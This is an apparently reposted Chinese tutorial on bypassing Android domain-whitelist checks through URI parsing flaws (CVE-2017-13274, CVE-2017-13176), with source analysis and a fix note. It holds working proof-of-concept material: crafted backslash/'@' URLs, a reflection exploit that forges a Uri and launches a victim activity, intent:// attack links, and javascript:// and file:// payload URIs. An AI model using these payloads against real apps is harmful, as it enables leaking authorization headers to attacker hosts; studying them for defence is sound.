Android中怎么繞過域名白名單校驗(yàn)

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)Android中怎么繞過域名白名單校驗(yàn),文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

在銅仁等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強(qiáng)發(fā)展的系統(tǒng)性、市場前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供成都網(wǎng)站建設(shè)、做網(wǎng)站 網(wǎng)站設(shè)計制作定制網(wǎng)站設(shè)計,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),品牌網(wǎng)站設(shè)計,營銷型網(wǎng)站,成都外貿(mào)網(wǎng)站建設(shè),銅仁網(wǎng)站建設(shè)費(fèi)用合理。

一、 Url加入反斜杠"\"

1.1. 方法描述

先來看一種典型的域名校驗(yàn)寫法:

/*  Uri 結(jié)構(gòu)
*   [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
   webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
   // or webView.loadUrl(uri.toString())
}

然而...

String url = "http://attacker.com\\.legitimate.com/smth";
Log.d("getHost:", Uri.parse(url).getHost());         // 輸出 attacker.com\.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
       webView.loadUrl(url, getAuthorizationHeaders());  // 成功加載 attacker.com!
}

可以看到 getHost() 和 loadUrl() 的表現(xiàn)不一致,if檢驗(yàn)跳轉(zhuǎn)目標(biāo)是legitimate.com,但執(zhí)行時瀏覽器會把反斜線糾正為正斜線去訪問attacker.com。那么如果是用 equals() 來做完整的 host 檢驗(yàn)該怎么辦呢?只需加一個‘@’就能隔斷非法前綴。

String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost());          // 輸出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加載 attacker.com!

1.2. 分析原因

看來android.net.Uri的 parse() 是有安全缺陷的,我們扒拉一下代碼定位問題...

[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
       return new StringUri(uriString);
}

繼續(xù)看這個內(nèi)部類StringUri

[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
       ...
       private StringUri(String uriString) {
           this.uriString = uriString;
       }
       ...
       private Part getAuthorityPart() {
           if (authority == null) {
               String encodedAuthority
                       = parseAuthority(this.uriString, findSchemeSeparator());
               return authority = Part.fromEncoded(encodedAuthority);
           }
           return authority;
       }
       ...
       static String parseAuthority(String uriString, int ssi) {
           int length = uriString.length();
           // If "//" follows the scheme separator, we have an authority.
           if (length > ssi + 2
                   && uriString.charAt(ssi + 1) == '/'
                   && uriString.charAt(ssi + 2) == '/') {
               // We have an authority.
               // Look for the start of the path, query, or fragment, or the
               // end of the string.
               int end = ssi + 3;
               LOOP: while (end < length) {
                   switch (uriString.charAt(end)) {
                       case '/': // Start of path
                       case '?': // Start of query
                       case '#': // Start of fragment
                           break LOOP;
                   }
                   end++;
               }
               return uriString.substring(ssi + 3, end);
           } else {
               return null;
           }
       }
}

這里就明顯看到StringUri沒有對authority部分做反斜杠的識別處理, 接著找StringUri的父類AbstractHierarchicalUri瞧瞧:

[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
   private String parseUserInfo() {
       String authority = getEncodedAuthority();
       int end = authority.indexOf('@');
       return end == NOT_FOUND ? null : authority.substring(0, end);
   }
   ...
   private String parseHost() {
       String authority = getEncodedAuthority();
       // Parse out user info and then port.
       int userInfoSeparator = authority.indexOf('@');
       int portSeparator = authority.indexOf(':', userInfoSeparator);
       String encodedHost = portSeparator == NOT_FOUND
               ? authority.substring(userInfoSeparator + 1)
               : authority.substring(userInfoSeparator + 1, portSeparator);
       return decode(encodedHost);
   }
}

就在這里把@符號之前內(nèi)容的作為 UserInfo 給切斷了,host 內(nèi)容從@符號之后算起。(這里其實(shí)存在另一個 bug,沒有考慮多個@的情況)

1.3. 影響范圍

Google 在 2018年4月的 Android 安全公告里發(fā)布了這個漏洞CVE-2017-13274的補(bǔ)丁

通過AndroidXRef查詢,這個補(bǔ)丁在 Oreo - 8.1.0_r33 才加入到原生源碼中。所以安全補(bǔ)丁日期早于2018-04-01的系統(tǒng)都受影響,而 Google 一般通過協(xié)議要求 OEM 廠商保證產(chǎn)品上市之后兩年內(nèi)按期打安全補(bǔ)丁。那么經(jīng)過推算得出 Android 6及以下的系統(tǒng)都受影響。

PS:url含多個@的情況也在2018年1月的補(bǔ)丁中進(jìn)行了修復(fù)CVE-2017-13176

二、反射調(diào)用HierarchicalUri構(gòu)造Uri

2.1. 檢查UserInfo

上一節(jié)提到了@的截取的特性,會把惡意地址前綴attacker.com存入 UserInfo,那么現(xiàn)在改進(jìn)校驗(yàn)方法, 加上 UserInfo 的檢查是不是就萬無一失了呢?

[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
                     uri.getUserInfo() == null &&
                     "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
   webView.load(uri.toString(), getAuthorizationHeaders());
}

2.2. 挖掘思路

我們還是看android.net.Uri源碼,發(fā)現(xiàn)除了StringUri,還有一個內(nèi)部類也 HierarchicalUri 也繼承了 AbstractHierarchicalUri

[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {

   private final String scheme; // can be null
   private final Part authority;
   private final PathPart path;
   private final Part query;
   private final Part fragment;

   private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
       this.scheme = scheme;
       this.authority = Part.nonNull(authority);
       this.path = path == null ? PathPart.NULL : path;
       this.query = Part.nonNull(query);
       this.fragment = Part.nonNull(fragment);
   }

   ...
}

而AbstractHierarchicalUri又是繼承自Uri,所以很容易想到,通過反射調(diào)用HierarchicalUri這個私有構(gòu)造函數(shù),傳入構(gòu)造好的 authority 和 path, 創(chuàng)建一個任意可控的Uri實(shí)例。繼續(xù)查看Part和PathPart類的構(gòu)造方法:    

static class Part extends AbstractPart {
   private Part(String encoded, String decoded) {
       super(encoded, decoded);
   }
}
static class PathPart extends AbstractPart {
   private PathPart(String encoded, String decoded) {
       super(encoded, decoded);
   }
}

2.3. 構(gòu)造PoC

由此構(gòu)造 PoC 如下:

public void PoC() {
   private static final String TAG = "PoC";
   String attackerUri = "@attacker.com";
   String legitimateUri = "legitimate.com";

   try {
       Class partClass = Class.forName("android.net.Uri$Part");
       Constructor partConstructor = partClass.getDeclaredConstructors()[0];
       partConstructor.setAccessible(true);

       Class pathPartClass = Class.forName("android.net.Uri$PathPart");
       Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
       pathPartConstructor.setAccessible(true);

       Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
       Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
       hierarchicalUriConstructor.setAccessible(true);

       Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
       Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
       Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

       Log.d(TAG, "Scheme: " + uri.getScheme());
       Log.d(TAG, "UserInfo: " + uri.getUserInfo());
       Log.d(TAG, "Host: " + uri.getHost());
       Log.d(TAG, "toString(): " + uri.toString());

   } catch (Exception e) {
       throw new RuntimeException(e);
   }
   Intent intent = new Intent("android.intent.action.VIEW");
   intent.setClassName(Victim_packageName, Victim_className);
   intent.setData(uri);
   intent.addFlags(268435456);
   startActivity(intent);
}

logcat 輸出:

07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://legitimate.com@attacker.com

從輸出日志可以看到,通過此反射方法構(gòu)造的 Uri 對象,可以通過 check_v2 方法對 Scheme、 UserInfoHost 的三項(xiàng)檢驗(yàn),但 toString() 方法的值https://legitimate.com@attacker.com,才是被攻擊的 Activity 拉起的實(shí)際地址。如前所述,@符號之后的    attacker.com 便成為了最終訪問的 host。

2.4. 限制與繞過

Android P 之后 Google 對 non-sdk 的 @hide API 進(jìn)行了限制。Android Studio 也會給出如下提示,并且讓這種反射調(diào)用在運(yùn)行時報錯失敗。

Accessing internal APIs via reflection is not supported and may not work on all devices or in the future less... (Ctrl+F1) Inspection info:Using reflection to access hidden/private Android APIs is not safe; it will often not work on devices from other        vendors, and it may suddenly stop working (if the API is removed) or crash spectacularly (if the API behavior changes, since there are no guarantees for compatibility). Issue id: PrivateApi

截止到目前——Android Q Beta 4,還是有繞過的方法, 關(guān)于繞過原理的梳理不在本文議題范圍。

2.5. 修復(fù)方法

抵御這種攻擊的方法也非常簡單,對傳入的 Uri 對象加一次 parse() 再做 check_v2 即可。事實(shí)上,有大量的開發(fā)者因?yàn)椴涣私膺@個性質(zhì),認(rèn)為傳入的 url 已經(jīng)是”正?!巴ㄟ^ Uri.parse() 構(gòu)造的,直接信任放行。

三、遠(yuǎn)程利用方法1

我們知道,通過在組件中注冊 intent-filter,App 可以響應(yīng)瀏覽器應(yīng)用或短信應(yīng)用訪問的外鏈。典型的一個配置寫法如下,只有 <data> 標(biāo)簽中指定的內(nèi)容和 Intent 中攜帶的 Data 完全一致時,當(dāng)前活動才能響應(yīng)該 Intent。

<activity android:name=".DeeplinkActivity">
   <intent-filter android:autoVerify="true">
       <action android:name="android.intent.action.VIEW"/>
       <category android:name="android.intent.category.DEFAULT"/>
       <category android:name="android.intent.category.BROWSABLE"/>
       <data android:scheme="https" android:host="legitimate.com"/>
   </intent-filter>
</activity>

前面兩種方法我們都是用安裝惡意 App 或 ADB 命令來觸發(fā)攻擊,注意到 Android 對 <data> 定義的屬性,也是通過 parsedIntent.getData().getHost() 來進(jìn)行匹配的,我們很自然的想到嘗試遠(yuǎn)程利用。

<!--
<a href="[scheme]://[host]/[path]?[query]">調(diào)用格式</a>
-->
<a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a>
<a href="https://attacker.com%5C%5C@legitimate.com/">Click Attack v2</a>

然而,對于第一個鏈接,瀏覽器會自動把反斜杠 "\" 糾正為正斜杠 "/"對于第二個鏈接,反斜杠 "\" 會以 URL 編碼形式保留而無法觸發(fā)方法1

通過仔細(xì)研究intent://scheme的工作機(jī)制,發(fā)現(xiàn)可以通過如下方式保留反斜杠 "\" 的方法:

PoC:

<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>

跟蹤源碼,可以看到,訪問這個鏈接,等價于執(zhí)行:

Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

從而實(shí)現(xiàn)方法1的遠(yuǎn)程執(zhí)行版本。

四、缺少scheme驗(yàn)證

實(shí)戰(zhàn)不乏有些 App 對 host 做了校驗(yàn),但卻遺漏了對 scheme 的檢查。

可以用下面的 uri, 嘗試進(jìn)行 js 和 file 域的 PoC:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html

上述就是小編為大家分享的Android中怎么繞過域名白名單校驗(yàn)了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

當(dāng)前名稱:Android中怎么繞過域名白名單校驗(yàn)
地址分享:http://muchs.cn/article0/ihdcoo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供靜態(tài)網(wǎng)站云服務(wù)器、建站公司、定制開發(fā)、微信小程序、關(guān)鍵詞優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)公司